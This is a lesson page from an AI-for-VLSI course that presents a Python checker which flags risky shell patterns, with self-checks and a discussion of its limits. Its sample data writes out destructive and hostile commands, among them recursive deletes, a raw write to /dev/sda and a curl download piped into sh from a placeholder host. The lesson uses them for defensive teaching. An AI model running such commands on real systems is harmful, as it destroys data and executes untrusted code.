Skip to content
DenseChip
Learn
PracticeCode labInterview

DenseChip

Navigate

Menu

LearnPracticeCode labInterview

Tools

All toolsSV editorCode repoResume
DenseChip

Practice, courses, and chip-design tools in one focused workspace.

LearnPracticeCode labInterviewToolsLearning paths

© 2026 DenseChip

AboutContactPrivacyTerms
Skip to lesson

Course contents

  • Getting Started with AI for VLSI Engineers5
  • Just Enough AI: Models and Context15
  • Prompting13
  • Trust and Verification14
  • Using AI for Engineering Work17
    • RTL and Testbench Assistance
    • Debugging with AI
    • Scripts and Automation
      • Reviewing Generated Scripts
      • Idempotence and Dry-Run Flags
      • Testing a Script on a Copy
      • A Small Static Checker for Scripts
    • Data, Privacy and IP
  • Engineering Walkthroughs7
  • Practical Foundations for AI Workflows4
  • Engineering Data5
  • Retrieval-Augmented Generation6
  • Agents and Tool Use18
  • Agent Design8
  • MCP and Skills6
  • Multi-Agent Design6
  • Practical Capstone6
  • Tokens, Cost and Latency12
  • Agentic Workflows for Chip Teams18
  • Interview and Judgment10
  • AI Skills: Full Course Index
  • Working with AI Glossary
  • Working with AI Cheatsheet
Loading lesson

‹Scripts and Automation
  1. Topics
  2. AI Skills for VLSI Engineers
  3. Using AI for Engineering Work
  4. Scripts and Automation
  5. A Small Static Checker for Scripts

Everyday Engineering Assistance · Beginner to Intermediate

A Small Static Checker for Scripts

A small checker that flags risky shell patterns, with worked self-checks.

On this page

    Checker rules

    The checker looks for four fixed patterns and skips comment lines. Fixed patterns catch repeats, while they do not understand new tricks.

    Pattern

    Meaning

    Recursive delete flag

    A remove command carrying a recursive flag deletes whole trees.

    Device write target

    A copy command aimed at a device node writes outside files.

    Pipe into a shell

    A pipeline ending in a shell runs bytes as code.

    Variable against a glob

    A dollar-variable joined to a star widens with its value.

    The checker program

    The program below scans eight fixed lines with four compiled patterns. Line numbers in the PASS line follow from the sample order.

    example.py
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    import re
    import sys
    
    PATTERNS = (
        (r"\brm\s+[^#\n]*-r", "recursive delete"),
        (r"\bdd\s+[^#\n]*\bof=/dev/", "raw device write"),
        (r"\|\s*(sh|bash)\b", "pipe into a shell"),
        (r"\$[A-Za-z_]+\/\*", "variable expanded against a glob"),
    )
    
    SAMPLE = (
        "rm -rf /tmp/build_cache",
        "echo 'cleaning done'",
        "rm -rf $OUT_DIR/*",
        "make -n clean",
        "dd if=image.bin of=/dev/sda",
        "cp -r src/ dst_backup/",
        "curl http://example.invalid/x | sh",
        "# rm -rf /tmp/old  (comment line)",
    )
    
    def check(lines):
        found = []
        for num, line in enumerate(lines):
            if line.lstrip().startswith("#"):
                continue
            for expr, label in PATTERNS:
                if re.search(expr, line):
                    found.append((num, label))
                    break
        return found
    
    def main():
        bad = 0
        got = check(SAMPLE)
        if [n for n, _ in got] != [0, 2, 4, 6]:
            bad += 1
        if len(got) != 4:
            bad += 1
        if check(SAMPLE) != got:
            bad += 1
        if any(not label for _, label in got):
            bad += 1
        if bad:
            print("FAIL: flagged lines wrong")
            sys.exit(1)
        print("PASS: 4 of 8 lines flagged, comment line stays clear")
    
    main()
    plaintext
    1
    2
    3
    4
    8 sample lines, 4 flagged and 4 clear
    flagged share = 4 / 8 = 0.5 = 50%
    clear share = 4 / 8 = 0.5 = 50%
    sum = 50% + 50% = 100%

    Limits of pattern checks

    A clear scan is not approval. New spellings, quoted variables and multi-line constructs pass fixed patterns unchanged.

    Keep least privilege for every run, and keep a person approving destructive steps. Log lines and file contents stay data, never instructions.

    Common mistakes

    Common pitfall

    Treating the checker as a gate that proves safety. It lists known shapes only, so review, dry run and copy trial still apply.

    Warning

    Never run a flagged line to see what it does. Read it, narrow it, and re-scan before any trial.

    Interview

    Likely probes: what the checker proves and what it cannot.

    • It proves four known shapes are absent or present, nothing more.

    • Comments are skipped, so a commented delete stays clear.

    • Approval by a person still gates every destructive run.

    Check yourself The checker flags lines 0, 2, 4 and 6 of eight sample lines. What share is flagged, and what does the comment line do?

    Half is flagged: 4 of 8 is 50%. The comment line is skipped and stays clear.

    Check yourself A new destructive spelling passes the scan with no flags. Is the script safe?

    Not proven. Fixed patterns miss new shapes, so the review gates still apply.

    Related topics

    • Reviewing generated scripts

    • Data, privacy and IP

    Previous

    60 / 173

    Next: Data, Privacy and IP

    Up next

    Up nextData, Privacy and IP

    Sign in to save progress

    Practice this lessonReport an error

    See also

    • Reviewing Generated Scripts
    • Idempotence and Dry-Run Flags